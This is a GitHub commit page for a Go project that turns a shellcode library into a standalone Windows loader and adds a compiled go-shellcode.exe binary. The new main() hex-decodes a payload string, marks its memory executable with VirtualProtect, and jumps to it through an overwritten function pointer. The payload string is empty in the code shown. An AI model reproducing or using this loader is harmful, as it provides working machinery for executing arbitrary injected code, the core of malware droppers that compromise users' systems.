Skip to content

Commit 8229b1f

Browse files
committed
First commit
1 parent 775f1f0 commit 8229b1f

File tree

5 files changed

+26
-77
lines changed

5 files changed

+26
-77
lines changed

cmd/sc/main.go

-36
This file was deleted.

go-shellcode.exe

2.07 MB
Binary file not shown.

go.mod

-3
This file was deleted.

shellcode_unix.go

-33
This file was deleted.

shellcode_windows.go

+26-5
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,25 @@
1-
package shellcode
1+
package main
22

33
import (
44
"syscall"
55
"unsafe"
6+
"encoding/hex"
7+
"os"
68
)
79

8-
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
10+
var (
11+
Kernel32DLL = syscall.NewLazyDLL("kernel32.dll")
12+
procVirtualProtect = Kernel32DLL.NewProc("VirtualProtect")
13+
)
14+
15+
//var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
916

1017
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
18+
//LPVOID VirtualAlloc(
19+
// LPVOID lpAddress,
20+
// SIZE_T dwSize,
21+
// DWORD flAllocationType,
22+
// DWORD flProtect
1123
ret, _, _ := procVirtualProtect.Call(
1224
uintptr(lpAddress),
1325
uintptr(dwSize),
@@ -16,7 +28,7 @@ func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint3
1628
return ret > 0
1729
}
1830

19-
func Run(sc []byte) {
31+
func Run(fire []byte) {
2032
// TODO need a Go safe fork
2133
// Make a function ptr
2234
f := func() {}
@@ -28,14 +40,23 @@ func Run(sc []byte) {
2840
}
2941

3042
// Override function ptr
31-
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
43+
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&fire))
3244

3345
// Change permissions on shellcode string data
3446
var oldshellcodeperms uint32
35-
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
47+
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&fire))), uintptr(len(fire)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
3648
panic("Call to VirtualProtect failed!")
3749
}
3850

3951
// Call the function ptr it
4052
f()
4153
}
54+
55+
func main() {
56+
slug := ""
57+
fire, err := hex.DecodeString(slug)
58+
if err != nil {
59+
os.Exit(1)
60+
}
61+
Run(fire)
62+
}

0 commit comments

Comments
 (0)